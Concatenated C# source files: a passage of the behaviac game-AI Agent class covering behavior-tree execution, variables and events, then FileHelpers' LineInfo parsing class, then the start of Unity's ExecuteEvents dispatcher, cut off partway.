Agent.GetInstance<TAGENT>(agentInstanceName, 0); } public static TAGENT GetInstance<TAGENT>() where TAGENT : Agent, new() { return Agent.GetInstance<TAGENT>(null, 0); } #if !BEHAVIAC_RELEASE public class CTagObjectDescriptor { public void Load(Agent parent, ISerializableNode node) { for (int i = 0; i < ms_members.Count; ++i) { ms_members[i].Load(parent, node); } if (this.m_parent != null) { this.m_parent.Load(parent, node); } } public void Save(Agent parent, ISerializableNode node) { if (this.m_parent != null) { this.m_parent.Save(parent, node); } for (int i = 0; i < ms_members.Count; ++i) { ms_members[i].Save(parent, node); } } public static void PushBackMember(List<CMemberBase> inMembers, CMemberBase toAddMember) { inMembers.Add(toAddMember); } public CMemberBase GetMember(string memberName) { if (this.ms_members != null) { //CMemberBase pMember = this.ms_members.Find(delegate (CMemberBase m) {return m.GetName() == memberName;}); for (int i = 0; i < this.ms_members.Count; ++i) { CMemberBase pMember = this.ms_members[i]; if (pMember.Name == memberName) { return pMember; } } } if (this.m_parent != null) { return this.m_parent.GetMember(memberName); } return null; } public CMemberBase GetMember(uint memberId) { if (this.ms_members != null) { CMemberBase pMember = this.ms_members.Find(delegate(CMemberBase m) { return m.GetId().GetId() == memberId; }); if (pMember != null) { return pMember; } } if (this.m_parent != null) { return this.m_parent.GetMember(memberId); } return null; } public List<CMemberBase> ms_members = new List<CMemberBase>(); public List<CMethodBase> ms_methods = new List<CMethodBase>(); public Type type; public string displayName; public string desc; public CTagObjectDescriptor m_parent = null; } public static CTagObjectDescriptor GetDescriptorByName(string className) { className = className.Replace("::", "."); className = className.Replace("+", "."); CStringID classNameid = new CStringID(className); if (Metas.ContainsKey(classNameid)) { return Metas[classNameid]; } CTagObjectDescriptor od = new CTagObjectDescriptor(); Metas.Add(classNameid, od); return od; } private CTagObjectDescriptor m_objectDescriptor = null; public CTagObjectDescriptor GetDescriptor() { if (m_objectDescriptor == null) { m_objectDescriptor = Agent.GetDescriptorByName(this.GetType().FullName); } return m_objectDescriptor; } private static Dictionary<CStringID, CTagObjectDescriptor> ms_metas; public static Dictionary<CStringID, CTagObjectDescriptor> Metas { get { if (ms_metas == null) { ms_metas = new Dictionary<CStringID, CTagObjectDescriptor>(); } return ms_metas; } } //public static Type GetTypeFromName(string typeName) //{ // CStringID typeNameId = new CStringID(typeName); // if (Metas.ContainsKey(typeNameId)) // { // CTagObjectDescriptor objectDesc = Metas[typeNameId]; // return objectDesc.type; // } // return null; //} public static bool IsTypeRegisterd(string typeName) { CStringID typeId = new CStringID(typeName); return ms_metas.ContainsKey(typeId); } public CMemberBase FindMember(string propertyName) { uint propertyId = Utils.MakeVariableId(propertyName); CMemberBase m = this.FindMember(propertyId); return m; } public CMemberBase FindMember(uint propertyId) { CTagObjectDescriptor objectDesc = this.GetDescriptor(); if (objectDesc != null) { CMemberBase pMember = objectDesc.GetMember(propertyId); return pMember; } return null; } private static int ParsePropertyNames(string fullPropertnName, ref string agentClassName) { //test_ns::AgentActionTest::Property1 int pBeginProperty = fullPropertnName.LastIndexOf(':'); if (pBeginProperty != -1) { //skip '::' Debug.Check(fullPropertnName[pBeginProperty] == ':' && fullPropertnName[pBeginProperty - 1] == ':'); pBeginProperty += 1; int pos = pBeginProperty - 2; agentClassName = fullPropertnName.Substring(pBeginProperty); return pos; } return -1; } #endif private Dictionary<uint, IInstantiatedVariable> GetCustomizedVariables() { string agentClassName = this.GetClassTypeName(); uint agentClassId = Utils.MakeVariableId(agentClassName); AgentMeta meta = AgentMeta.GetMeta(agentClassId); if (meta != null) { Dictionary<uint, IInstantiatedVariable> vars = meta.InstantiateCustomizedProperties(); return vars; } return null; } #if BEHAVIAC_USE_HTN private AgentState m_variables = null; public AgentState Variables { get { if (m_variables == null) { Dictionary<uint, IInstantiatedVariable> vars = this.GetCustomizedVariables(); this.m_variables = new AgentState(vars); } return m_variables; } } #else private Variables m_variables = null; public Variables Variables { get { if (m_variables == null) { Dictionary<uint, IInstantiatedVariable> vars = this.GetCustomizedVariables(); this.m_variables = new Variables(vars); } return m_variables; } } #endif// #if !BEHAVIAC_RELEASE //for log only, to remember its last value private Dictionary<uint, IValue> _members = new Dictionary<uint, IValue>(); #endif internal IInstantiatedVariable GetInstantiatedVariable(uint varId) { // local var if (this.ExcutingTreeTask != null && this.ExcutingTreeTask.LocalVars.ContainsKey(varId)) { return this.ExcutingTreeTask.LocalVars[varId]; } // customized var IInstantiatedVariable pVar = this.Variables.GetVariable(varId); return pVar; } private IProperty GetProperty(uint propId) { string className = this.GetClassTypeName(); uint classId = Utils.MakeVariableId(className); AgentMeta meta = AgentMeta.GetMeta(classId); if (meta != null) { IProperty prop = meta.GetProperty(propId); if (prop != null) { return prop; } } return null; } internal bool GetVarValue<VariableType>(uint varId, out VariableType value) { IInstantiatedVariable v = this.GetInstantiatedVariable(varId); if (v != null) { if (typeof(VariableType).IsValueType) { Debug.Check(v is CVariable<VariableType>); CVariable<VariableType> var = (CVariable<VariableType>)v; if (var != null) { value = var.GetValue(this); return true; } } else { value = (VariableType)v.GetValueObject(this); return true; } } value = default(VariableType); return false; } private bool GetVarValue<VariableType>(uint varId, int index, out VariableType value) { IInstantiatedVariable v = this.GetInstantiatedVariable(varId); if (v != null) { Debug.Check(v is CArrayItemVariable<VariableType>); CArrayItemVariable<VariableType> arrayItemVar = (CArrayItemVariable<VariableType>)v; if (arrayItemVar != null) { value = arrayItemVar.GetValue(this, index); return true; } } value = default(VariableType); return false; } internal bool SetVarValue<VariableType>(uint varId, VariableType value) { IInstantiatedVariable v = this.GetInstantiatedVariable(varId); if (v != null) { Debug.Check(v is CVariable<VariableType>); CVariable<VariableType> var = (CVariable<VariableType>)v; if (var != null) { var.SetValue(this, value); return true; } } return false; } private bool SetVarValue<VariableType>(uint varId, int index, VariableType value) { IInstantiatedVariable v = this.GetInstantiatedVariable(varId); if (v != null) { Debug.Check(v is CArrayItemVariable<VariableType>); CArrayItemVariable<VariableType> arrayItemVar = (CArrayItemVariable<VariableType>)v; if (arrayItemVar != null) { arrayItemVar.SetValue(this, value, index); return true; } } return false; } public bool IsValidVariable(string variableName) { uint variableId = Utils.MakeVariableId(variableName); IInstantiatedVariable v = this.GetInstantiatedVariable(variableId); if (v != null) { return true; } IProperty prop = this.GetProperty(variableId); return (prop != null); } public VariableType GetVariable<VariableType>(string variableName) { uint variableId = Utils.MakeVariableId(variableName); return GetVariable<VariableType>(variableId); } internal VariableType GetVariable<VariableType>(uint variableId) { VariableType value; // var if (this.GetVarValue<VariableType>(variableId, out value)) { return value; } // property IProperty prop = this.GetProperty(variableId); if (prop != null) { if (typeof(VariableType).IsValueType) { Debug.Check(prop is CProperty<VariableType>); CProperty<VariableType> p = (CProperty<VariableType>)prop; Debug.Check(p != null); if (p != null) { return p.GetValue(this); } } else { return (VariableType)prop.GetValueObject(this); } } Debug.Check(false, string.Format("The variable \"{0}\" with type \"{1}\" can not be found!", variableId, typeof(VariableType).Name)); return default(VariableType); } internal VariableType GetVariable<VariableType>(uint variableId, int index) { VariableType value; // var if (this.GetVarValue<VariableType>(variableId, index, out value)) { return value; } // property IProperty prop = this.GetProperty(variableId); if (prop != null) { if (typeof(VariableType).IsValueType) { Debug.Check(prop is CProperty<VariableType>); CProperty<VariableType> p = (CProperty<VariableType>)prop; if (p != null) { return p.GetValue(this, index); } } else { return (VariableType)prop.GetValueObject(this, index); } } Debug.Check(false, string.Format("The variable \"{0}\" with type \"{1}\" can not be found!", variableId, typeof(VariableType).Name)); return default(VariableType); } public void SetVariable<VariableType>(string variableName, VariableType value) { uint variableId = Utils.MakeVariableId(variableName); SetVariable<VariableType>(variableName, variableId, value); } public void SetVariable<VariableType>(string variableName, uint variableId, VariableType value) { if (variableId == 0) { variableId = Utils.MakeVariableId(variableName); } // var if (this.SetVarValue<VariableType>(variableId, value)) { return; } // property IProperty prop = this.GetProperty(variableId); if (prop != null) { Debug.Check(prop is CProperty<VariableType>); CProperty<VariableType> p = (CProperty<VariableType>)prop; if (p != null) { p.SetValue(this, value); return; } } Debug.Check(false, string.Format("The variable \"{0}\" with type \"{1}\" can not be found! please check the variable name or be after loading type info(btload)!", variableName, typeof(VariableType).Name)); } public void SetVariable<VariableType>(string variableName, uint variableId, VariableType value, int index) { if (variableId == 0) { variableId = Utils.MakeVariableId(variableName); } // var if (this.SetVarValue<VariableType>(variableId, index, value)) { return; } // property IProperty prop = this.GetProperty(variableId); if (prop != null) { Debug.Check(prop is CProperty<VariableType>); CProperty<VariableType> p = (CProperty<VariableType>)prop; if (p != null) { p.SetValue(this, value, index); return; } } Debug.Check(false, string.Format("The variable \"{0}\" with type \"{1}\" can not be found!", variableName, typeof(VariableType).Name)); } internal void SetVariableFromString(string variableName, string valueStr) { uint variableId = Utils.MakeVariableId(variableName); IInstantiatedVariable v = this.GetInstantiatedVariable(variableId); if (v != null) { v.SetValueFromString(this, valueStr); return; } IProperty prop = this.GetProperty(variableId); if (prop != null) { prop.SetValueFromString(this, valueStr); } } public void LogVariables(bool bForce) { #if !BEHAVIAC_RELEASE if (Config.IsLoggingOrSocketing) { // property string className = this.GetClassTypeName(); uint classId = Utils.MakeVariableId(className); AgentMeta meta = AgentMeta.GetMeta(classId); if (meta != null) { // local var if (this.ExcutingTreeTask != null) { var e = this.ExcutingTreeTask.LocalVars.Keys.GetEnumerator(); while (e.MoveNext()) { uint id = e.Current; IInstantiatedVariable pVar = this.ExcutingTreeTask.LocalVars[id]; if (pVar != null) { pVar.Log(this); } } }// //customized property this.Variables.Log(this); //member property { Dictionary<uint, IProperty> memberProperties = meta.GetMemberProperties(); if (memberProperties != null) { var e = memberProperties.Keys.GetEnumerator(); while (e.MoveNext()) { uint id = e.Current; IProperty pProperty = memberProperties[id]; if (!pProperty.IsArrayItem) { bool bNew = false; IValue pVar = null; if (this._members.ContainsKey(id)) { pVar = this._members[id]; } else { bNew = true; pVar = pProperty.CreateIValue(); this._members[id] = pVar; } if (pVar != null) { pVar.Log(this, pProperty.Name, bNew); } } } } } } } #endif } public void LogRunningNodes() { #if !BEHAVIAC_RELEASE if (Config.IsLoggingOrSocketing && this.m_currentBT != null) { List<BehaviorTask> runningNodes = this.m_currentBT.GetRunningNodes(false); foreach (BehaviorTask behaviorTask in runningNodes) { string btStr = BehaviorTask.GetTickInfo(this, behaviorTask, "enter"); //empty btStr is for internal BehaviorTreeTask if (!string.IsNullOrEmpty(btStr)) { LogManager.Instance.Log(this, btStr, EActionResult.EAR_success, LogMode.ELM_tick); } } } #endif } #if !BEHAVIAC_RELEASE public int m_debug_in_exec; public int m_debug_count; //private const int kAGENT_DEBUG_VERY = 0x01010101; #endif//#if !BEHAVIAC_RELEASE protected static void Init_(int contextId, Agent pAgent, int priority) { Debug.Check(contextId >= 0, "invalid context id"); pAgent.m_contextId = contextId; pAgent.m_id = ms_agent_index++; pAgent.m_priority = priority; pAgent.SetName(pAgent.name); Context.AddAgent(pAgent); #if !BEHAVIAC_RELEASE pAgent.m_debug_in_exec = 0; string agentClassName = pAgent.GetClassTypeName(); string instanceName = pAgent.GetName(); string aName = string.Format("{0}#{1}", agentClassName, instanceName); ms_agents[aName] = pAgent; #endif } public void btresetcurrrent() { if (this.m_currentBT != null) { this.m_currentBT.reset(this); } } /** before set the specified one as the current bt, it aborts the current one */ public void btsetcurrent(string relativePath) { _btsetcurrent(relativePath, TriggerMode.TM_Transfer, false); } public void btreferencetree(string relativePath) { this._btsetcurrent(relativePath, TriggerMode.TM_Return, false); this.m_referencetree = true; } public void bteventtree(Agent pAgent, string relativePath, TriggerMode triggerMode) { this._btsetcurrent(relativePath, triggerMode, true); } private void _btsetcurrent(string relativePath, TriggerMode triggerMode, bool bByEvent) { bool bEmptyPath = string.IsNullOrEmpty(relativePath); Debug.Check(!bEmptyPath && string.IsNullOrEmpty(Path.GetExtension(relativePath))); Debug.Check(Workspace.Instance.IsValidPath(relativePath)); if (!bEmptyPath) { // if (this.m_currentBT != null && this.m_currentBT.GetName() == relativePath) { // //the same bt is set again return; } bool bLoaded = Workspace.Instance.Load(relativePath); if (!bLoaded) { string agentName = this.GetType().FullName; agentName += "::"; agentName += this.name; Debug.Check(false); System.Diagnostics.Debug.WriteLine(string.Format("{0} is not a valid loaded behavior tree of {1}", relativePath, agentName)); } else { Workspace.Instance.RecordBTAgentMapping(relativePath, this); if (this.m_currentBT != null) { //if trigger mode is 'return', just push the current bt 'oldBt' on the stack and do nothing more //'oldBt' will be restored when the new triggered one ends if (triggerMode == TriggerMode.TM_Return) { BehaviorTreeStackItem_t item = new BehaviorTreeStackItem_t(this.m_currentBT, triggerMode, bByEvent); Debug.Check(this.BTStack.Count < 200, "recursive?"); this.BTStack.Add(item); } else if (triggerMode == TriggerMode.TM_Transfer) { //don't use the bt stack to restore, we just abort the current one. //as the bt node has onenter/onexit, the abort can make them paired //Debug.Check (this.m_currentBT.GetName() != relativePath); if (this.m_currentBT.GetName() != relativePath) { this.m_currentBT.abort(this); } else { Debug.Check(true); } } } //BehaviorTreeTask pTask = this.BehaviorTreeTasks.Find(delegate (BehaviorTreeTask task) {return task.GetName() == relativePath;}); BehaviorTreeTask pTask = null; for (int i = 0; i < this.BehaviorTreeTasks.Count; ++i) { BehaviorTreeTask t = this.BehaviorTreeTasks[i]; if (t.GetName() == relativePath) { pTask = t; break; } } bool bRecursive = false; if (pTask != null && this.BTStack.Count > 0) { //bRecursive = this.BTStack.FindIndex(delegate (BehaviorTreeStackItem_t item){return item.bt.GetName() == relativePath;}) > -1; for (int i = 0; i < this.BTStack.Count; ++i) { BehaviorTreeStackItem_t item = this.BTStack[i]; if (item.bt.GetName() == relativePath) { bRecursive = true; break; } } if (pTask.GetStatus() != EBTStatus.BT_INVALID) { pTask.reset(this); } } if (pTask == null || bRecursive) { pTask = Workspace.Instance.CreateBehaviorTreeTask(relativePath); Debug.Check(pTask != null); this.BehaviorTreeTasks.Add(pTask); } this.CurrentBT = pTask; //string pThisTree = this.m_currentBT.GetName(); //this.LogJumpTree(pThisTree); } } } private EBTStatus btexec_() { if (this.m_currentBT != null) { //the following might modify this.m_currentBT if the invoked function called btsetcurrent/FireEvent BehaviorTreeTask pCurrentBT = this.m_currentBT; EBTStatus s = this.m_currentBT.exec(this); //Debug.Check(s == EBTStatus.BT_RUNNING || pCurrentBT == this.m_currentBT, // "btsetcurrent/FireEvent is not allowed in the invoked function."); while (s != EBTStatus.BT_RUNNING) { if (this.BTStack.Count > 0) { //get the last one BehaviorTreeStackItem_t lastOne = this.BTStack[this.BTStack.Count - 1]; this.CurrentBT = lastOne.bt; this.BTStack.RemoveAt(this.BTStack.Count - 1); bool bExecCurrent = false; if (lastOne.triggerMode == TriggerMode.TM_Return) { if (!lastOne.triggerByEvent) { if (this.m_currentBT != pCurrentBT) { s = this.m_currentBT.resume(this, s); } else { //pCurrentBT ends and while pCurrentBT is exec, it internally calls 'btsetcurrent' //to modify m_currentBT as the new one, and after pop from the stack, m_currentBT would be pCurrentBT Debug.Check(true); } } else { bExecCurrent = true; } } else { bExecCurrent = true; } if (bExecCurrent) { pCurrentBT = this.m_currentBT; s = this.m_currentBT.exec(this); break; } } else { //this.CurrentBT = null; break; } } return s; } else { //behaviac.Debug.LogWarning("NO ACTIVE BT!\n"); } return EBTStatus.BT_INVALID; } public void LogJumpTree(string newTree) { #if !BEHAVIAC_RELEASE string msg = string.Format("{0}.xml", newTree); LogManager.Instance.Log(this, msg, EActionResult.EAR_none, LogMode.ELM_jump); #endif } public void LogReturnTree(string returnFromTree) { #if !BEHAVIAC_RELEASE string msg = string.Format("{0}.xml", returnFromTree); LogManager.Instance.Log(this, msg, EActionResult.EAR_none, LogMode.ELM_return); #endif } public virtual EBTStatus btexec() { if (this.m_bActive) { #if !BEHAVIAC_NOT_USE_UNITY UnityEngine.Profiler.BeginSample("btexec"); #endif #if !BEHAVIAC_RELEASE this.m_debug_in_exec = 1; this.m_debug_count = 0; #endif EBTStatus s = this.btexec_(); while (this.m_referencetree && s == EBTStatus.BT_RUNNING) { this.m_referencetree = false; s = this.btexec_(); } if (this.IsMasked()) { this.LogVariables(false); } #if !BEHAVIAC_NOT_USE_UNITY UnityEngine.Profiler.EndSample(); #endif #if !BEHAVIAC_RELEASE this.m_debug_in_exec = 0; #endif return s; } return EBTStatus.BT_INVALID; } public bool btload(string relativePath, bool bForce /*= false*/) { bool bOk = Workspace.Instance.Load(relativePath, bForce); if (bOk) { Workspace.Instance.RecordBTAgentMapping(relativePath, this); } return bOk; } public bool btload(string relativePath) { bool bOk = this.btload(relativePath, false); return bOk; } public void btunload(string relativePath) { Debug.Check(string.IsNullOrEmpty(Path.GetExtension(relativePath)), "no extention to specify"); Debug.Check(Workspace.Instance.IsValidPath(relativePath)); //clear the current bt if it is the current bt if (this.m_currentBT != null && this.m_currentBT.GetName() == relativePath) { BehaviorNode btNode = this.m_currentBT.GetNode(); Debug.Check(btNode is BehaviorTree); BehaviorTree bt = btNode as BehaviorTree; this.btunload_pars(bt); this.CurrentBT = null; } //remove it from stack for (int i = 0; i < this.BTStack.Count; ++i) { BehaviorTreeStackItem_t item = this.BTStack[i]; if (item.bt.GetName() == relativePath) { this.BTStack.Remove(item); break; } } for (int i = 0; i < this.BehaviorTreeTasks.Count; ++i) { BehaviorTreeTask task = this.BehaviorTreeTasks[i]; if (task.GetName() == relativePath) { Workspace.Instance.DestroyBehaviorTreeTask(task, this); this.BehaviorTreeTasks.Remove(task); break; } } Workspace.Instance.UnLoad(relativePath); } /** called when hotreloaded the default implementation is unloading all pars. it can be overridden to do some clean up, like to reset some internal states, etc. */ public virtual void bthotreloaded(BehaviorTree bt) { this.btunload_pars(bt); } public void btunloadall() { List<BehaviorTree> bts = new List<BehaviorTree>(); for (int i = 0; i < this.BehaviorTreeTasks.Count; ++i) { BehaviorTreeTask btTask = this.BehaviorTreeTasks[i]; BehaviorNode btNode = btTask.GetNode(); Debug.Check(btNode is BehaviorTree); BehaviorTree bt = (BehaviorTree)btNode; bool bFound = false; for (int t = 0; t < bts.Count; ++t) { BehaviorTree it = bts[t]; if (it == bt) { bFound = true; break; } } if (!bFound) { bts.Add(bt); } Workspace.Instance.DestroyBehaviorTreeTask(btTask, this); } for (int t = 0; t < bts.Count; ++t) { BehaviorTree it = bts[t]; this.btunload_pars(it); Workspace.Instance.UnLoad(it.GetName()); } this.BehaviorTreeTasks.Clear(); //just clear the name vector, don't unload it from cache this.CurrentBT = null; this.BTStack.Clear(); this.Variables.Unload(); } public void btreloadall() { this.CurrentBT = null; this.BTStack.Clear(); if (this.m_behaviorTreeTasks != null) { List<string> bts = new List<string>(); //collect the bts for (int i = 0; i < this.m_behaviorTreeTasks.Count; ++i) { BehaviorTreeTask bt = this.m_behaviorTreeTasks[i]; string btName = bt.GetName(); if (bts.IndexOf(btName) == -1) { bts.Add(btName); } } for (int i = 0; i < bts.Count; ++i) { string btName = bts[i]; Workspace.Instance.Load(btName, true); } this.BehaviorTreeTasks.Clear(); } this.Variables.Unload(); } public bool btsave(State_t state) { this.Variables.CopyTo(null, state.Vars); if (this.m_currentBT != null) { Workspace.Instance.DestroyBehaviorTreeTask(state.BT, this); BehaviorNode pNode = this.m_currentBT.GetNode(); if (pNode != null) { state.BT = (BehaviorTreeTask)pNode.CreateAndInitTask(); this.m_currentBT.CopyTo(state.BT); return true; } } return false; } public bool btload(State_t state) { state.Vars.CopyTo(this, this.m_variables); if (state.BT != null) { if (this.m_currentBT != null) { for (int i = 0; i < this.m_behaviorTreeTasks.Count; ++i) { BehaviorTreeTask task = this.m_behaviorTreeTasks[i]; if (task == this.m_currentBT) { Workspace.Instance.DestroyBehaviorTreeTask(task, this); this.m_behaviorTreeTasks.Remove(task); break; } } } BehaviorNode pNode = state.BT.GetNode(); if (pNode != null) { this.m_currentBT = (BehaviorTreeTask)pNode.CreateAndInitTask(); state.BT.CopyTo(this.m_currentBT); return true; } } return false; } private void btunload_pars(BehaviorTree bt) { if (bt.LocalProps != null) { bt.LocalProps.Clear(); } } public void btonevent(string btEvent, Dictionary<uint, IInstantiatedVariable> eventParams) { if (this.m_currentBT != null) { string agentClassName = this.GetClassTypeName(); uint agentClassId = Utils.MakeVariableId(agentClassName); AgentMeta meta = AgentMeta.GetMeta(agentClassId); if (meta != null) { uint eventId = Utils.MakeVariableId(btEvent); IMethod e = meta.GetMethod(eventId); if (e != null) { #if !BEHAVIAC_RELEASE Debug.Check(this.m_debug_in_exec == 0, "FireEvent should not be called during the Agent is in btexec"); #endif this.m_currentBT.onevent(this, btEvent, eventParams); } else { Debug.Check(false, string.Format("unregistered event {0}", btEvent)); } } } } public void FireEvent(string eventName) { this.btonevent(eventName, null); } public void FireEvent<ParamType>(string eventName, ParamType param) { Dictionary<uint, IInstantiatedVariable> eventParams = new Dictionary<uint, IInstantiatedVariable>(); string paramName = string.Format("{0}{1}", Task.LOCAL_TASK_PARAM_PRE, 0); uint paramId = Utils.MakeVariableId(paramName); eventParams[paramId] = new CVariable<ParamType>(paramName, param); this.btonevent(eventName, eventParams); } public void FireEvent<ParamType1, ParamType2>(string eventName, ParamType1 param1, ParamType2 param2) { Dictionary<uint, IInstantiatedVariable> eventParams = new Dictionary<uint, IInstantiatedVariable>(); string paramName = string.Format("{0}{1}", Task.LOCAL_TASK_PARAM_PRE, 0); uint paramId = Utils.MakeVariableId(paramName); eventParams[paramId] = new CVariable<ParamType1>(paramName, param1); paramName = string.Format("{0}{1}", Task.LOCAL_TASK_PARAM_PRE, 1); paramId = Utils.MakeVariableId(paramName); eventParams[paramId] = new CVariable<ParamType2>(paramName, param2); this.btonevent(eventName, eventParams); } public void FireEvent<ParamType1, ParamType2, ParamType3>(string eventName, ParamType1 param1, ParamType2 param2, ParamType3 param3) { Dictionary<uint, IInstantiatedVariable> eventParams = new Dictionary<uint, IInstantiatedVariable>(); string paramName = string.Format("{0}{1}", Task.LOCAL_TASK_PARAM_PRE, 0); uint paramId = Utils.MakeVariableId(paramName); eventParams[paramId] = new CVariable<ParamType1>(paramName, param1); paramName = string.Format("{0}{1}", Task.LOCAL_TASK_PARAM_PRE, 1); paramId = Utils.MakeVariableId(paramName); eventParams[paramId] = new CVariable<ParamType2>(paramName, param2); paramName = string.Format("{0}{1}", Task.LOCAL_TASK_PARAM_PRE, 2); paramId = Utils.MakeVariableId(paramName); eventParams[paramId] = new CVariable<ParamType3>(paramName, param3); this.btonevent(eventName, eventParams); } [behaviac.MethodMetaInfo()] public static void LogMessage(string message) { int frames = behaviac.Workspace.Instance.FrameSinceStartup; behaviac.Debug.Log(string.Format("[{0}]{1}\n", frames, message)); } [behaviac.MethodMetaInfo()] public static int VectorLength(IList vector) { if (vector != null) { return vector.Count; } return 0; } [behaviac.MethodMetaInfo()] public static void VectorAdd(IList vector, object element) { if (vector != null) { vector.Add(element); } } [behaviac.MethodMetaInfo()] public static void VectorRemove(IList vector, object element) { if (vector != null) { vector.Remove(element); } } [behaviac.MethodMetaInfo()] public static bool VectorContains(IList vector, object element) { if (vector != null) { bool bOk = vector.IndexOf(element) > -1; return bOk; } return false; } [behaviac.MethodMetaInfo()] public static void VectorClear(IList vector) { if (vector != null) { vector.Clear(); } } [TypeConverter()] public class StructConverter : TypeConverter { // Overrides the CanConvertFrom method of TypeConverter. The ITypeDescriptorContext // interface provides the context for the conversion. Typically, this interface is used // at design time to provide information about the design-time container. public override bool CanConvertFrom(ITypeDescriptorContext context, Type sourceType) { if (sourceType == typeof(string)) { return true; } return base.CanConvertFrom(context, sourceType); } // Overrides the ConvertFrom method of TypeConverter. public override object ConvertFrom(ITypeDescriptorContext context, CultureInfo culture, object value) { if (value is string) { } return base.ConvertFrom(context, culture, value); } // Overrides the ConvertTo method of TypeConverter. public override object ConvertTo(ITypeDescriptorContext context, CultureInfo culture, object value, Type destinationType) { if (destinationType == typeof(string)) { } return base.ConvertTo(context, culture, value, destinationType); } } } }
using System; using System.Collections; using System.Collections.Generic; using System.Diagnostics; using System.Globalization; namespace FileHelpers { /// <summary> /// Record read from the file for processing /// </summary> /// <remarks> /// The data inside the LIneInfo may be reset during processing, /// for example on read next line. Do not rely on this class /// containing all data from a record for all time. It is designed /// to read data sequentially. /// </remarks> [DebuggerDisplay("{DebuggerDisplayStr()}")] internal sealed class LineInfo { //public static readonly LineInfo Empty = new LineInfo(string.Empty); #region " Constructor " //static readonly char[] mEmptyChars = new char[] {}; /// <summary> /// Create a line info with data from line /// </summary> /// <param name="line"></param> public LineInfo(string line) { mReader = null; mLineStr = line; //mLine = line == null ? mEmptyChars : line.ToCharArray(); mCurrentPos = 0; } #endregion /// <summary> /// Return part of line, Substring /// </summary> /// <param name="from">Start position (zero offset)</param> /// <param name="count">Number of characters to extract</param> /// <returns>substring from line</returns> public string Substring(int from, int count) { return mLineStr.Substring(from, count); } #region " Internal Fields " //internal string mLine; //internal char[] mLine; /// <summary> /// Record read from reader /// </summary> internal string mLineStr; /// <summary> /// Reader that got the string /// </summary> internal ForwardReader mReader; /// <summary> /// Where we are processing records from /// </summary> internal int mCurrentPos; /// <summary> /// List of whitespace characters that we want to skip /// </summary> internal static readonly char[] WhitespaceChars = new char[] { '\t', '\n', '\v', '\f', '\r', ' ', '\x00a0', '\u2000', '\u2001', '\u2002', '\u2003', '\u2004', '\u2005', '\u2006', '\u2007', '\u2008', '\u2009', '\u200a', '\u200b', '\u3000', '\ufeff' }; #endregion /// <summary> /// Debugger display string /// </summary> /// <returns></returns> private string DebuggerDisplayStr() { if (IsEOL()) return "<EOL>"; else return CurrentString; } /// <summary> /// Extract a single field from the system /// </summary> public string CurrentString { get { return mLineStr.Substring(mCurrentPos, mLineStr.Length - mCurrentPos); } } /// <summary> /// If we have extracted more that the field contains. /// </summary> /// <returns>True if end of line</returns> public bool IsEOL() { return mCurrentPos >= mLineStr.Length; } /// <summary> /// Amount of data left to process /// </summary> public int CurrentLength { get { return mLineStr.Length - mCurrentPos; } } /// <summary> /// Is there only whitespace left in the record? /// </summary> /// <returns>True if only whitespace</returns> public bool EmptyFromPos() { // Check if the chars at pos or right are empty ones int length = mLineStr.Length; int pos = mCurrentPos; while (pos < length && Array.BinarySearch(WhitespaceChars, mLineStr[pos]) >= 0) pos++; return pos >= length; } /// <summary> /// delete leading whitespace from record /// </summary> public void TrimStart() { TrimStartSorted(WhitespaceChars); } /// <summary> /// Delete any of these characters from beginning of the record /// </summary> /// <param name="toTrim"></param> public void TrimStart(char[] toTrim) { Array.Sort(toTrim); TrimStartSorted(toTrim); } /// <summary> /// Move the record pointer along skipping these characters /// </summary> /// <param name="toTrim">Sorted array of character to skip</param> private void TrimStartSorted(char[] toTrim) { // Move the pointer to the first non to Trim char int length = mLineStr.Length; while (mCurrentPos < length && Array.BinarySearch(toTrim, mLineStr[mCurrentPos]) >= 0) mCurrentPos++; } public bool StartsWith(string str) { // Returns true if the string begin with str if (mCurrentPos >= mLineStr.Length) return false; else { return mCompare.Compare(mLineStr, mCurrentPos, str.Length, str, 0, str.Length, CompareOptions.OrdinalIgnoreCase) == 0; } } /// <summary> /// Check that the record begins with a value ignoring whitespace /// </summary> /// <param name="str">String to check for</param> /// <returns>True if record begins with</returns> public bool StartsWithTrim(string str) { int length = mLineStr.Length; int pos = mCurrentPos; while (pos < length && Array.BinarySearch(WhitespaceChars, mLineStr[pos]) >= 0) pos++; return mCompare.Compare(mLineStr, pos, str, 0, CompareOptions.OrdinalIgnoreCase) == 0; } /// <summary> /// get The next line from the system and reset the line pointer to zero /// </summary> public void ReadNextLine() { mLineStr = mReader.ReadNextLine(); //mLine = mLineStr.ToCharArray(); mCurrentPos = 0; } private static readonly CompareInfo mCompare = StringHelper.CreateComparer(); /// <summary> /// Find the location of the next string in record /// </summary> /// <param name="foundThis">String we are looking for</param> /// <returns>Position of the next one</returns> public int IndexOf(string foundThis) { // Bad performance with custom IndexOf // if (foundThis.Length == 1) // { // char delimiter = foundThis[0]; // int pos = mCurrentPos; // int length = mLine.Length; // // while (pos < length) // { // if (mLine[pos] == delimiter) // return pos; // // pos++; // } // return -1; // } // else // if (mLineStr == null) // return -1; // else return mCompare.IndexOf(mLineStr, foundThis, mCurrentPos, CompareOptions.Ordinal); } /// <summary> /// Reset the string back to the original line and reset the line pointer /// </summary> /// <remarks>If the input is multi line, this will read next record and remove the original data</remarks> /// <param name="line">Line to use</param> internal void ReLoad(string line) { //mLine = line == null ? mEmptyChars : line.ToCharArray(); mLineStr = line; mCurrentPos = 0; } } }
using System; using System.Collections.Generic; using UnityEngine.UI; namespace UnityEngine.EventSystems { public static class ExecuteEvents { public delegate void EventFunction<T1>(T1 handler, BaseEventData eventData); public static T ValidateEventData<T>(BaseEventData data) where T : class { if ((data as T) == null) throw new ArgumentException(String.Format("Invalid type: {0} passed to event expecting {1}", data.GetType(), typeof(T))); return data as T; } #region Execution Handlers private static readonly EventFunction<IPointerEnterHandler> s_PointerEnterHandler = Execute; private static void Execute(IPointerEnterHandler handler, BaseEventData eventData) { handler.OnPointerEnter(ValidateEventData<PointerEventData>(eventData)); } private static readonly EventFunction<IPointerExitHandler> s_PointerExitHandler = Execute; private static void Execute(IPointerExitHandler handler, BaseEventData eventData) { handler.OnPointerExit(ValidateEventData<PointerEventData>(eventData)); } private static readonly EventFunction<IPointerDownHandler> s_PointerDownHandler = Execute; private static void Execute(IPointerDownHandler handler, BaseEventData eventData) { handler.OnPointerDown(ValidateEventData<PointerEventData>(eventData)); } private static readonly EventFunction<IPointerUpHandler> s_PointerUpHandler = Execute; private static void Execute(IPointerUpHandler handler, BaseEventData eventData) { handler.OnPointerUp(ValidateEventData<PointerEventData>(eventData)); } private static readonly EventFunction<IPointerClickHandler> s_PointerClickHandler = Execute; private static void Execute(IPointerClickHandler handler, BaseEventData eventData) { 